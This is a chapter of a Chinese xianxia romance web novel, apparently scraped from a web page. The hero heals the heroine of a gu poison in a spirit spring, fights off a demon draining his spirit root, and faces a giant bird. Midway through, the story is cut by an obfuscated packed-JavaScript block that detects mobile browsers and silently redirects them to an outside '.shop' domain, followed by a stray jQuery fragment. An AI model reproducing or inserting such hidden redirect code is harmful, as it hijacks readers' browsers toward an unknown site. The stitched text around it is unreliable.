干爽的泉石上,整齐地搭放着向晴枝的轻衫。那小妖则躺在一旁翘着小脚打盹。
韩义被伶舟越施了定身咒。他背对着泉池面壁而立,脸上满是不服的神色。
这泓碧泉,是由山谷中最为精粹的灵力汇聚而生,终年冰凉沁骨。
蛊毒果然有复发之势,向晴枝的体温又开始慢慢下降,一股燥意重新扰上她的心头。
泉水刚好没到她的脖颈之下。她整个人浸润在这冰凉惬意之中,脸颊轻贴伶舟越的前胸,思绪混混沌沌,早已飘到了九霄云外。
那小妖没有撒谎,翎池的治愈之力果然强劲。
伶舟越时刻观察着向晴枝的后背。那个肿起的包块在泉水的疗愈下,以肉眼可见的速度,逐渐消散。但,若想将那对幼蛾排出,还需要些许时间。
快要接近日落之时,天空变得愈发灰暗。
伶舟越脚趾紧抓着泉底的石头,稳稳站立着。为了避免碰触到向晴枝的身体,他将双手负于身后,只能依靠腹部的力量维持平衡。
他从前对男女之事一窍不通,见到女子也总是避之不及。
曾遇到有大胆些的姑娘主动向他表明心迹,他却索性将对方劈头盖脸训斥一番。那女子无地自容,最后只好仓惶而逃。
而现下,向晴枝只着了一件最里的贴身衣物。她瘫软的身体与伶舟越轻轻相贴。
不知在做何等奇怪的梦境,她嘴里先嘟嘟囔囔,而后忽地朝伶舟越胸前一口咬下,痛得他不禁怒道:“你疯了?松开!”
向晴枝听到对方的话语,果然迷迷糊糊将口松开,但口中却似是在咀嚼某种食物。
“饿了?”伶舟越暗忖道,“做梦都在吃。”
向晴枝将口中的空气咽进腹中,委屈地轻哼一声,伸出双臂死死将伶舟越的腰部环住不放。
一呼一吸间,伶舟越可以明显地感觉到对方那柔软之处,正随着他的心跳一起起伏。
“咳咳!”他喉间顿感干涩难忍。
虽知这是无奈之举,但他心中还是止不住地暗潮翻涌,不知不觉竟有了些许奇怪的反应。好在泉水冰凉至极,正好可以让他冷静冷静。
他攥紧了拳头,心道,成天告诫弟子要清心寡欲,当真遇到考验,定力却这般不济!
无情道不知修到哪里去了?
伶舟越无比自责,羞愤难当。好在对方此时神志不清,否则当真会让他无地自容!
他立刻闭上双眼,口中念诵起清心诀,试图快些压制住这恼人的邪火。
“仙君仙君!”
没过多久,一个稚儿的声音从不远处响起。伶舟越神色恢复了些许冷然,缓缓睁开双眼,瞥见那小妖正坐在泉边荡着腿。
“何事?”他没有正眼看它,而是先低下头,检查起向晴枝的伤势。
肿包周围一股墨色烟雾散出,隆起的地方已看不清幼蛾的轮廓。
恢复得很快。
“快要日落了,若再晚些,恐怕那大鸟便要出来了!”小妖抬手指向远处的山洞。
想到知霜鸟昨日才败于他手,想必今日也不敢冒进。无论如何不能打断疗伤的进程,伶舟越阖上双眼,不予理会。
小妖瞥了一眼向晴枝的伤,眼神晦暗一瞬而后又变回天真的模样。他飞快跑到离两人最近的池边,大喊道:“仙君有所不知,今晚是月圆之夜,那鸟每到此时,法力最高。”
听到此处,伶舟越慢慢睁开了眼。
“仙君的法力自是极厉害的。我是怕倒时带着这位受伤的姑娘,您未必能够放开手脚呀!刀剑无眼,若再次伤了她,岂不是前功尽弃?”
思忖片刻,伶舟越终于转头看向那小妖,问道:“有何法子能加快进度?”
“还真有!”小妖见对方终于搭理自己,很是激动,“仙君只需为这位姑娘渡些你体内的仙灵之气,便能加速蛊毒的排出。”
闻言,伶舟越正欲伸手施法,却被打断。
“仙君误会了,普通的仙灵可不行。她需要的,是你体內木灵仙根的力量。”
昨日许是消耗这木灵仙根太多,伶舟越此时内力都还未彻底恢复。若再次犯险,恐怕会超过这具身体的负荷。
即便这样想着,他还是毅然决定照那小妖的说法做。因为此时天色已晚,若待那神鸟一出,或许连选择的机会都没有了。
他双手掐诀,催动内力,一股碧色灵流如藤蔓般,包裹住了伶舟越的小臂。力量不断向他的指尖汇聚,直指向晴枝受伤的后背而去。
山谷间覆着霜雪的树枝骤然焕发生机,冰凌纷纷掉落在地,而后融化蒸发,露出一片片鲜嫩的草地。
万物开始复苏。
整个泉水彻底被唤醒,暗流涌动间,水草疯狂生长。它们被束缚在这幽暗的泉底几百年,早已有了灵性。
水草们沿着伶舟越的脚踝争先恐后地攀爬而上,欲将此人体内这千载难觅的句芒神力吸食个精光。
伶舟越无暇顾及这些贪婪的精怪,他紧闭双眼,全神贯注地试图将那蛊虫从向晴枝后背逼出。
小妖果然说得没错,有了泉水的加持,木灵仙根的力量果然被放大了数倍。
那对幼蛾一点点破开向晴枝的皮肉,露出惨白的躯体,阵阵剧痛袭来,向晴枝紧咬住下唇,血水从齿间一点点渗出。
“仙君,听到声音了吗?那大鸟醒了。”小妖抬头看向落日,一改之前的活泼稚气,神色变得阴寒诡谲,“我想它也该出来觅食了。”
伶舟越察觉异样,陡然转头,只见那妖物前一秒还静静立在泉边,后一秒竟纵身跃起,跳到了他的肩头,将他的脖颈抱住。
它支起身上的一根根坚硬的短刺,将伶舟越肩上的皮肉扎出密密匝匝的血点。
水草已经蔓延到了他的全身,将他死死束缚着。眼看蛊虫快要被逼出,若此时分心,恐怕两人都会被这强劲的灵力反噬。
“你到底是何妖物?”伶舟越质问道。
小妖嬉笑一声,将身子凑到他耳边:“我是何物不重要,我现下只想要你的木灵仙根!”
说罢,它一口咬在伶舟越的脖颈上,血水中仙力充沛,那妖物才吸食一口,便觉身体无法承载。
“扑通”一声,两只幼蛾终于被逼出,有这泉水和仙根的双重助力,向晴枝后背裂开的皮肉很快愈合了。就连早先手掌被火鞭撕裂的伤口,也全然消失。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17910810|206562||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
她恢复清明的瞬间,竟见那妖物正吸食着伶舟越的精血!
她欲伸手将其推开,但无奈身体仍然绵软无力,加之双臂正被那些水草死死缚在伶舟越的腰间,根本无法动弹。
“醒醒......”向晴枝气息微弱。
伶舟越也许自己也未料到,这看似毫无生机的密林之中,竟潜藏着如此多的精怪觊觎着他的灵根。同时,他也太高估了自己这具躯体,高估了它对句芒仙根的驾驭之力。
此时,他体内的仙灵被这些妖物源源不断的吸出,伶舟越竟有些难以控制这力量的流动。血液在他体内沸腾,仿佛下一秒,便要冲破这具身躯,喷薄而出!
他冷白的皮肤变得绯红,额间青筋尽数凸起,向晴枝心道,不能再拖了,再这样下去他会被活活吸干!
来不及多想,她踮起脚尖,身体开始奋力向上挣扎着。
唇齿好不容易够到了伶舟越的耳垂,她深吸一口气,毫不犹豫地狠狠咬下。
向晴枝呼出的气息和伶舟越周身的燥热相互交织,炙烤得他耳垂的咬痕愈加疼痛。
伶舟越眉间一敛,眼皮开始不停颤动。
“伶舟越快醒醒!”向晴枝在他耳边大喊一声。
伶舟越感受到向晴枝胸前的玉坠正灼灼发烫,这声音也好生熟悉,在石阵的妄海之中,他仿佛听到过同样的呼喊。
胸口剧烈起伏,呼吸也变得急促难耐,他猛然睁开双眼,原本蜜色的眼睛顷刻间变成了深褐,脸上尽是肃杀之气。
被这些妖物吸食的,源源不断向外流出的仙灵倏而倒转逆行,纷纷往他的身体回涌而去。一道道绿色的灵力开始反向流动,重新进入伶舟越的身体。
小妖见势不妙,反应迅捷,立刻拔出陷在他颈间的利齿,转身欲逃。
怎料,整个泉池的碧水被伶舟越爆发的强大力量吸入空中,形成了一道十丈高的水帘!
“不好,这人莫不是要走火入魔了!”书中灭世的场景再次浮现在向晴枝的脑海中。伶舟越的眼神和现在一般无二。
先前束缚住他们的水草,此刻反被伶舟越吸成了枯草,吊着一口气,战战兢兢地躲回了泉底的石缝之间。
两人隐没在水帘之中。向晴枝体内的蛊毒已完全清除,后背的伤口也已痊愈。她见伶舟越为救自己变得如此狼狈,眼中满是歉意。
不经意间,她竟将手探出,轻轻抚上了伶舟越的侧脸。
伶舟越迷瞪片刻,而后心绪慢慢平复,脸上、颈间的绯红开始消退,深褐的眼眸也悄然变回了蜜色。
他感受到向晴枝的指腹在他脸颊轻轻摩挲。他将脸微侧,朝那柔软的温热蹭去。
“好些了么?”伶舟越的声音有些暗哑。他眼中满是关切,认真注视着向晴枝。
“嗯。”向晴枝点点头,正欲开口道谢,却见那水帘轰然塌下,掀起无数浪花。
“晴枝姑娘小心!”韩义趁伶舟越灵力不稳,终于冲破定身符,大喊出声。
向晴枝定睛看去。
只见水帘之后,蓦地出现了一只青色的巨鸟!
它正张着巨大的羽翅,锐啸着,用冷漠的眼神注视着泉池中的二人。